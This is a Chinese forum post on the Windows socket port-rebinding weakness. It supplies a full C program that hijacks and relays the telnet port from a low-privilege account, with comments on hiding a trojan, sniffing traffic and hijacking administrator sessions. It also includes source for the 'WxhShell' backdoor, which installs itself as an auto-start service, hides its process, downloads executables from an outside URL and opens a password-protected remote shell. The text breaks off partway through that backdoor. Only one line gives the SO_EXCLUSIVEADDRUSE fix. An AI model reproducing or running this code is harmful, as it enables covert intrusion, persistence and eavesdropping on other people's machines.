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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Lw!@[;2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pGsVO5M?  
t/q\Ne\\,  
  saddr.sin_family = AF_INET; ]CHMkuP[k  
!5=3Y4bg1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h!)(R<  
uYO?Rb&}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L!e@T'  
G-} zkax  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;l?>+m@H  
'l<kY\I!%  
  这意味着什么?意味着可以进行如下的攻击: j[Et+V?  
,~G[\2~p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s'5 jvlG  
wePMBL1P*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LFh(. }  
lz# inC|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9`vse>,-hg  
n287@Y4Ru  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o]k[l ;  
8@Y@5)Oc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 12k)Ek9  
@c.QrKSaD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -|ee=BV  
ozGK -$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !X#=Pt[,  
E%$FX' 8&  
  #include l?#([(WM  
  #include [c3hwogf:  
  #include |NM.-@1  
  #include    eJ?SLMLY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;Hm\?n)a  
  int main() Ou,B3kuQ+  
  { vbA9 V<c&  
  WORD wVersionRequested; b},OCVT?  
  DWORD ret; tp0^%!*9  
  WSADATA wsaData; w+ _'BU1#  
  BOOL val; g:OVAA  
  SOCKADDR_IN saddr; h{>8W0W*  
  SOCKADDR_IN scaddr; <hS >L1ZSr  
  int err; m~X:KwK4  
  SOCKET s; TrHBbyqk  
  SOCKET sc; }.e*=/"MB  
  int caddsize; bD49$N?>  
  HANDLE mt; 0R *!o\y  
  DWORD tid;   4J_18.JHP  
  wVersionRequested = MAKEWORD( 2, 2 ); R#Ss_y  
  err = WSAStartup( wVersionRequested, &wsaData ); @0t,vye  
  if ( err != 0 ) { =FdS'<GM  
  printf("error!WSAStartup failed!\n"); ];(w8l  
  return -1; T#h`BtET[  
  } u QCQ$  
  saddr.sin_family = AF_INET; r)h+pga5^E  
   Fet>KacTht  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]k>S0  
80 p7+W2m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "y5c)l(Rg  
  saddr.sin_port = htons(23); `_z8DA}E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @'~v~3 $S  
  { C+2*m=r  
  printf("error!socket failed!\n"); wYS4#7  
  return -1; &~ uzu{  
  } K{"(|~=U  
  val = TRUE; ].` i`.T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /|hKZTZJdN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X@ jml$;$  
  { Z wIsEJz  
  printf("error!setsockopt failed!\n"); VxaJ[s3PQ&  
  return -1; i wK,XnIR  
  } rN_\tulOF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e|xRK?aVBu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6?(*:}Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CCQ<.iCU  
NcFHvK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -pyTzC$HO  
  { _f2(vWCW;J  
  ret=GetLastError(); W aks*^|  
  printf("error!bind failed!\n"); \%rX~UhZ=  
  return -1; mWCY%o@  
  } 6|["!AUI  
  listen(s,2); IQY\L@"  
  while(1) v(]\o;/O  
  { Tig`4d-%  
  caddsize = sizeof(scaddr); (t fADaJM  
  //接受连接请求 } n_9d.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M>8#is(pV  
  if(sc!=INVALID_SOCKET) K^?/  
  { <5?.S{Z9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U")bvUIL  
  if(mt==NULL) +-K-CXt  
  { WXaLKiA*(  
  printf("Thread Creat Failed!\n"); - =QA{n  
  break; [y64%|m  
  } 2["bS++?  
  } 3zv_q&+8b  
  CloseHandle(mt); G-9]z[\#  
  } 6# ,2  
  closesocket(s); $x#Y\dpS  
  WSACleanup(); ebp18_a|  
  return 0; wHAoO#`wn5  
  }   L+(5`Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0,E*9y}  
  { &0+;E-_  
  SOCKET ss = (SOCKET)lpParam; ,*wa#[  
  SOCKET sc; Yfs60f  
  unsigned char buf[4096]; o.* 8$$  
  SOCKADDR_IN saddr; }p]8'($  
  long num; <TC\Nb$~  
  DWORD val; m\O<Yc keA  
  DWORD ret; x?y)a9&Hm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -5\hZ!!J2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   CcG{+-= H)  
  saddr.sin_family = AF_INET; oGu-:X=`9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f{t5r  
  saddr.sin_port = htons(23); M]vc W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B_aLqB]U  
  { +.! F]0ju  
  printf("error!socket failed!\n"); DwMq  
  return -1; ,Hlbl}.ls  
  } U\*}}   
  val = 100; [z5pqd-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [z'PdYQR/{  
  { 5RrzRAxq  
  ret = GetLastError(); & w&JE]$ 5  
  return -1; :D\M.A  
  } /5b,&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rF'_YYpr>  
  { Z@4 BTA  
  ret = GetLastError(); eG55[V<!  
  return -1; *9Ej fs7L  
  } p%/Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s{#rCc)  
  { ^`XQ>-wWue  
  printf("error!socket connect failed!\n"); F=?0:2P0bD  
  closesocket(sc); qb'4x){  
  closesocket(ss); jNd."[IrO  
  return -1; %{?EfULg  
  } HRS^91aK  
  while(1) ;~CAHn|Fe  
  { j> Ce06G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J$Uj@M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &Azfpv   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5 Yj qN  
  num = recv(ss,buf,4096,0); Tk\?$n  
  if(num>0) E}LYO:  
  send(sc,buf,num,0); < Ih)h$8`  
  else if(num==0) -9W)|toWb"  
  break; sl?> X)}  
  num = recv(sc,buf,4096,0); Wwo'pke  
  if(num>0) ,Q:Ylc8  
  send(ss,buf,num,0); oM ey^]!  
  else if(num==0) }ADdKK-  
  break; T rK-XTev  
  } onqfmQ,3E  
  closesocket(ss); k;BXt:jDq  
  closesocket(sc); X0G6W p  
  return 0 ; ~nLE?>x|Z  
  } LGu K@^  
2E7vuFH4c  
dA4DW  
========================================================== "]H_;:{f  
/<zBjvr%%  
下边附上一个代码,,WXhSHELL .l1uqCuB  
+8p4\l$<`  
========================================================== 8);G'7O  
A<$~Q;r2a  
#include "stdafx.h" P)D2PVD  
`hpX97v  
#include <stdio.h> olLVT<  
#include <string.h> 0o-. m  
#include <windows.h> pb8sx1.j;  
#include <winsock2.h> y@GqAN'DK[  
#include <winsvc.h> yn`P:[v  
#include <urlmon.h> qK=uSL o\+  
'\g-z  
#pragma comment (lib, "Ws2_32.lib") cl,\N\  
#pragma comment (lib, "urlmon.lib") yzI`&? P2  
)O}q{4,}  
#define MAX_USER   100 // 最大客户端连接数 k{Ad(S4J&  
#define BUF_SOCK   200 // sock buffer XWd;-%`<  
#define KEY_BUFF   255 // 输入 buffer HgY [Q}7s  
."X}A t  
#define REBOOT     0   // 重启 ]:"<if gp$  
#define SHUTDOWN   1   // 关机 )/87<Y;o  
-6KNMk   
#define DEF_PORT   5000 // 监听端口 _EEOBaZ  
'GyO  
#define REG_LEN     16   // 注册表键长度 2oBT _o%/J  
#define SVC_LEN     80   // NT服务名长度 xa"8"8  
),!1B%  
// 从dll定义API .dwy+BzS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NP#6'eH\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f$y`tT %o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F9}jiCom  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fex<9'e  
5 *R{N ~>  
// wxhshell配置信息 _A/q bm  
struct WSCFG { =Ts5\1sc>  
  int ws_port;         // 监听端口 ovXU +8  
  char ws_passstr[REG_LEN]; // 口令 {wL30D^  
  int ws_autoins;       // 安装标记, 1=yes 0=no  B=d :r  
  char ws_regname[REG_LEN]; // 注册表键名 OL%KAEnD  
  char ws_svcname[REG_LEN]; // 服务名 /XVjcD66c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d8!yV~Ka  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QKB*N)%6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u5Tu~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1fOH$33  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |O';$a1S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;udV"7C  
RW4,j&)  
}; GZt L-   
WeiDg,]e$b  
// default Wxhshell configuration qG)M8xk  
struct WSCFG wscfg={DEF_PORT, 63PSYj(y  
    "xuhuanlingzhe", $p;<1+!  
    1, Abc%VRsT  
    "Wxhshell", -_?U/k(Hi  
    "Wxhshell", \8<ZPqt9  
            "WxhShell Service", ?se\?q  
    "Wrsky Windows CmdShell Service", pf8M0,AY  
    "Please Input Your Password: ", VFI\2n`  
  1, q).[" fSV  
  "http://www.wrsky.com/wxhshell.exe", VV+gPC  
  "Wxhshell.exe" +5i~}Q!  
    }; ZJf:a}=h  
%o  
// 消息定义模块 259R5X<V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =THRy ZCH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ys@OgdS@:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g-LMct8$  
char *msg_ws_ext="\n\rExit."; )&{<gyS1  
char *msg_ws_end="\n\rQuit."; uc>]-4  
char *msg_ws_boot="\n\rReboot..."; 93VbB[w~7F  
char *msg_ws_poff="\n\rShutdown..."; csjCXT=Ve  
char *msg_ws_down="\n\rSave to "; B{tROuN<  
IgyoBfj\d  
char *msg_ws_err="\n\rErr!"; wLa8&E[  
char *msg_ws_ok="\n\rOK!"; M.o H,Kd6  
aoHAB<.C  
char ExeFile[MAX_PATH]; Q+7+||RW  
int nUser = 0; S;K5JBX0#  
HANDLE handles[MAX_USER]; nKnQ%R  
int OsIsNt; (.pi,+Ws  
w| eVl{~p  
SERVICE_STATUS       serviceStatus; )}$]~ f4R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cH:9@>'$a  
XGb*LY+Db6  
// 函数声明 - !QVM\t  
int Install(void); !~Ptnr`;  
int Uninstall(void); 3|Y2BA d  
int DownloadFile(char *sURL, SOCKET wsh); -, uT8'  
int Boot(int flag); b6NGhkr'\  
void HideProc(void); ,4HZ-|EOZ  
int GetOsVer(void); ^AF~k#R  
int Wxhshell(SOCKET wsl); Oy_%U*  
void TalkWithClient(void *cs); 9]%2Yb8SC  
int CmdShell(SOCKET sock); 7{lWg x  
int StartFromService(void); q.kDx_  
int StartWxhshell(LPSTR lpCmdLine); MxDqp;  
0uu)0:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <Rfx`mn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /:@)De(S  
sSy!mtS  
// 数据结构和表定义 ?kULR0uL+  
SERVICE_TABLE_ENTRY DispatchTable[] = i ?%_P u  
{ O>"T*   
{wscfg.ws_svcname, NTServiceMain}, '{w[).c.  
{NULL, NULL} n0QHrIf{  
}; vA2>&YDFX  
SUDvKP  
// 自我安装 lhX4 MB"  
int Install(void) w>e+UW25Y  
{ to;^'#B  
  char svExeFile[MAX_PATH]; c_T+T/O  
  HKEY key; !0_/=mA^  
  strcpy(svExeFile,ExeFile); :_|Xr'n`A  
sI6I5  
// 如果是win9x系统,修改注册表设为自启动 Z*n4$?%W  
if(!OsIsNt) { i&q_h>ZT g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OX7a72z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 ,W*)Q  
  RegCloseKey(key); pVM1%n:#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @RZbo@{~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " {X0&  
  RegCloseKey(key); DzIV5FG  
  return 0; \opcn\vW  
    } ;ojJXH~$}  
  } {e5-  
} ,$ Cr9R&/  
else { 8JXS:J.|v  
6~l+wu<$  
// 如果是NT以上系统,安装为系统服务 TK0WfWch  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C`-CfZZ  
if (schSCManager!=0) T 0qM "  
{ CzI s_/  
  SC_HANDLE schService = CreateService +6x}yc:yd  
  ( Tb!FO"o  
  schSCManager, ?zf3AZ9  
  wscfg.ws_svcname, C~WWuju'  
  wscfg.ws_svcdisp, %f?Zg44  
  SERVICE_ALL_ACCESS, bYmk5fpRG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KAi_+/]K_  
  SERVICE_AUTO_START, +-T|ov<  
  SERVICE_ERROR_NORMAL, `dWnu3r;  
  svExeFile, j'OXT<n*  
  NULL, 4,f`C0>"  
  NULL, "<Yxt"Z4  
  NULL, r?w>x`  
  NULL, mi1^hl'2  
  NULL qDqy9u:g  
  ); ("YWJJ'H  
  if (schService!=0) I%($,kd}s  
  { |)br-?2  
  CloseServiceHandle(schService); F'"-aB ~  
  CloseServiceHandle(schSCManager); RN}joKV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qL <@PC.5  
  strcat(svExeFile,wscfg.ws_svcname); _pzYmQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QpA$='  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DL d~  
  RegCloseKey(key); -0TI7 @  
  return 0; WJI}~/z;C  
    } g}IOHE  
  } !/ dH"h  
  CloseServiceHandle(schSCManager); $Ld-lQsL  
} hL&7D @  
} (zxL!ZR<  
.l|29{J  
return 1; v$+A!eo  
} Ov4=!o=  
Vk2%yw>  
// 自我卸载 .wUnN8crQ  
int Uninstall(void) Ups0Xg&{  
{ \t`VqJLyu  
  HKEY key; 6, |>;,U7  
! &cfX/y8  
if(!OsIsNt) { Ujqnl>l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qmb+%z  
  RegDeleteValue(key,wscfg.ws_regname); )T?BO  
  RegCloseKey(key); `z.sWF|f!O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9P,[MZ  
  RegDeleteValue(key,wscfg.ws_regname); kw} E0uY  
  RegCloseKey(key); +t&+f7  
  return 0; ^hr # 1  
  } .3jijc j  
} X$G:3uoN  
} y+=s/c  
else { Pa#Jwo  
LN5BU,4=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XH0o8\.  
if (schSCManager!=0) t:P7ah  
{ u~ VXe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +]GP"yv-  
  if (schService!=0) qrjSG%i~J7  
  { <%W&xk  
  if(DeleteService(schService)!=0) { vO53?vN[m9  
  CloseServiceHandle(schService); kGC*\?<LmR  
  CloseServiceHandle(schSCManager); #%8)'=1+4?  
  return 0; I,05'edCQ  
  } ]JvjM,  
  CloseServiceHandle(schService); NPFI^Uj#A  
  } Z-pZyDz  
  CloseServiceHandle(schSCManager); qT:`F  
} b|may/xWH  
} $P)-o?eer  
\TnK<83  
return 1; 90,UhNz9D  
} PMX'vA`  
44t;#6p@%>  
// 从指定url下载文件 ux*G*QZ  
int DownloadFile(char *sURL, SOCKET wsh) k^cnNx  
{ F&^&"(H}  
  HRESULT hr; I2NMn5>  
char seps[]= "/"; a+CJJ3T-  
char *token; ?B)e8i<[f  
char *file; jsF5q~F  
char myURL[MAX_PATH]; |Q@(<'8=  
char myFILE[MAX_PATH]; Tc>g+eS  
/UY'E<wBx  
strcpy(myURL,sURL); s&CK  
  token=strtok(myURL,seps); 7:=(yBG  
  while(token!=NULL) :/Z1$xS  
  { 3h%Nd &_9  
    file=token; s<:) ;-tL  
  token=strtok(NULL,seps); 4x=sJ%E  
  }  BPKrRex  
3j[<nBsn.  
GetCurrentDirectory(MAX_PATH,myFILE); m]'+Eye ]r  
strcat(myFILE, "\\"); &|Rww\oJ  
strcat(myFILE, file); E0aFHC[  
  send(wsh,myFILE,strlen(myFILE),0); \l# H#~  
send(wsh,"...",3,0); MCIuP`sC|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6Bd:R}yZP7  
  if(hr==S_OK) 9KT85t1#  
return 0; .vIRz-S  
else k^B7M}  
return 1; e(OKE7  
!+YSc&R_fW  
} F4~O-g.<  
LW/> %  
// 系统电源模块 X 3XTB*  
int Boot(int flag) 9\E];~"iP  
{ C nD3%%  
  HANDLE hToken;  ;Yg/y  
  TOKEN_PRIVILEGES tkp; 4 'vjU6gW  
DGz}d,ie  
  if(OsIsNt) { Ly1t'{"7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #k!;=\FV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X)c0 y3hk  
    tkp.PrivilegeCount = 1; WS1Y maV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DIhV;[\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !NKPy+v  
if(flag==REBOOT) { 83'rQDo)G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G!Y7Rj WD  
  return 0; P8ns @VV  
} uhwCC  
else { q^QLNKOH"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  z}*L*Sk  
  return 0; 3XUsw1,[  
} O"RIY3m  
  } 1vq c8lC  
  else { :&RpB^]  
if(flag==REBOOT) { vv`53 Pbw)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KJV],6d  
  return 0; sE^= ]N  
} Q[aBxy (  
else { gA2]kZg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _w%{yF6   
  return 0; 3Z%jx#  
} !4$o*{9Lx:  
} d#I; e  
nfE4rIE4  
return 1; 1t#|MH ?U_  
} >kDkvg1"  
#!4 HSBf  
// win9x进程隐藏模块 'W~6-c9y  
void HideProc(void) SMA' VU  
{ 0j' Xi_uM  
^VjF W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ] ; B`'Ia  
  if ( hKernel != NULL ) O[9A}g2~  
  { <VT|R~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xK_0@6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TM,Fab &  
    FreeLibrary(hKernel); =UZQ` {  
  } }eLth0d`'o  
*1U"uJno  
return; oUN;u*  
} /nNrvMt v  
}#`-mRaU  
// 获取操作系统版本 L:UPS&)  
int GetOsVer(void) |'Ksy{lA  
{ 9XN/ w p  
  OSVERSIONINFO winfo; 7qhX `$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0NyM|  
  GetVersionEx(&winfo); R!RgQwEak  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5R*55@)  
  return 1;  TsI%M  
  else ;:w0%>X^  
  return 0; 1u_< 1X3  
} 'o ZdMl&  
Uc]sWcR  
// 客户端句柄模块 9Cq"Szs  
int Wxhshell(SOCKET wsl) lXu6=r  
{ }r ;#|=HR  
  SOCKET wsh; >8w=Vlp  
  struct sockaddr_in client; - D^v:aC  
  DWORD myID; ]4)$dQ59  
VNxhv!w  
  while(nUser<MAX_USER) l1" *  
{ *nV*WU S3  
  int nSize=sizeof(client); |j!U/n.%w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3t:/Guyom8  
  if(wsh==INVALID_SOCKET) return 1; @[hD;xO  
7\EY&KI"0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lQf38u||  
if(handles[nUser]==0) )L$)qfQ~x  
  closesocket(wsh); =.t3|5U8  
else C dTE~O<)  
  nUser++; {3|h^h_R  
  } &>3 AL,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,qK3 3Bn  
3KN})*1  
  return 0; [> LL  
} g I@I.=y  
*.A{p ;JC(  
// 关闭 socket YG#.L}X@C  
void CloseIt(SOCKET wsh) :Wd@Qy?;  
{ ;Zw? tU  
closesocket(wsh); @ wx  
nUser--; 50NLguE  
ExitThread(0); )o_Pnq9_  
} EOzw&M];r  
) 0|X];sD  
// 客户端请求句柄 N:&EFfg3  
void TalkWithClient(void *cs) +`'>   
{ tY!GJusd  
raB', Vp  
  SOCKET wsh=(SOCKET)cs; h0;R*c  
  char pwd[SVC_LEN]; I|vfxf  
  char cmd[KEY_BUFF]; aW;DfH  
char chr[1]; G?5Vj_n  
int i,j; \??20iz  
T!Z).PA#  
  while (nUser < MAX_USER) { p{oc}dWin  
8 ;"HM5+  
if(wscfg.ws_passstr) { b+e9Pi*\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U\x $@J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O7# 8g$ZIv  
  //ZeroMemory(pwd,KEY_BUFF); *8I &|)x  
      i=0; K%WG[p\Eu  
  while(i<SVC_LEN) { GVld]ioycG  
eizni\  
  // 设置超时 L(t!C~3  
  fd_set FdRead; fO t?2Bh  
  struct timeval TimeOut; y4j\y ? T8  
  FD_ZERO(&FdRead); r!y3VmJ'm  
  FD_SET(wsh,&FdRead);  r74' _y  
  TimeOut.tv_sec=8; B*AB@  
  TimeOut.tv_usec=0; s&F& *5W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !YENJJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _DLELcH Y  
OZ6:u^OS]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~+CEek  
  pwd=chr[0]; H_>9'(  
  if(chr[0]==0xd || chr[0]==0xa) { lkJ"f{4f  
  pwd=0; FqXE6^  
  break; xzz0uk5  
  } 0t2n7Y?N  
  i++; @|EWif|  
    } g<g$c<sm  
DLD5>  
  // 如果是非法用户,关闭 socket JiFB<Q\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `CY c>n"  
} ?ZP@H _w6}  
y_LFkZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L'u*WHj|v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;.Y-e Q,  
K8RV=3MBLD  
while(1) { q0L\{  
t 09-y  
  ZeroMemory(cmd,KEY_BUFF); ]\ t20R{z  
G>,43S!<  
      // 自动支持客户端 telnet标准   @|D#lBm  
  j=0; TGHyBPJb  
  while(j<KEY_BUFF) { ag6[Nk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uSUog+i  
  cmd[j]=chr[0]; z-_$P)[c  
  if(chr[0]==0xa || chr[0]==0xd) { @]7s`?  
  cmd[j]=0; %\T#Ik~3  
  break; #@L5yy2  
  } ujS C  
  j++; {$Z S 2 7  
    } epgAfx-_OH  
*yYeqm  
  // 下载文件 ^~^=$fz  
  if(strstr(cmd,"http://")) { 7n]ukqZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r6vI6|1  
  if(DownloadFile(cmd,wsh)) yM('!iG*/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >?[?W|k7V  
  else BAojP1}+,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zi{vEI]  
  } jHk.]4&0  
  else { <l5s[  
P"+R:O\!g  
    switch(cmd[0]) { eW;c 3<  
  ogqKM_  
  // 帮助 \%_sL#?  
  case '?': { |E &|6h1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q w)U  
    break; Z-3("%_$/  
  } !X`cNd)0Xo  
  // 安装 eOahr:Db  
  case 'i': { lib}dk  
    if(Install()) 0{/'[o7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *onVG5<  
    else : -$TD('F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ld 0j!II(  
    break; KQ ^E\,@o  
    } 5t|$Yt[  
  // 卸载 Zt}b}Bz  
  case 'r': { :XOjS[wBm  
    if(Uninstall()) OZ/"W)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' pIC~  
    else mR~S$6cc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B<ZCuVWH:  
    break; *ZIX76y<!A  
    } nfh<3v|kvR  
  // 显示 wxhshell 所在路径 S[{,+{b0  
  case 'p': { pZ]&M@Ijp  
    char svExeFile[MAX_PATH]; \F)WUIK  
    strcpy(svExeFile,"\n\r"); EqOhzII^  
      strcat(svExeFile,ExeFile); 58R.`5B  
        send(wsh,svExeFile,strlen(svExeFile),0); +_jM$?:F}  
    break; 8! /ue.T  
    } 4{G>T  
  // 重启 V P(JV  
  case 'b': { Ym6v4k!@O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `|mV~F|  
    if(Boot(REBOOT)) ?Zb3M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J!">L+Zcx  
    else { {kvxz  
    closesocket(wsh); X9?0`6Li  
    ExitThread(0); n4.\}%=z  
    } 0IZF%`  
    break; r.c:QY$  
    } , eSpt#M  
  // 关机 dj}|EW4  
  case 'd': { v^ v \6uEP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ) )t]5Ys%;  
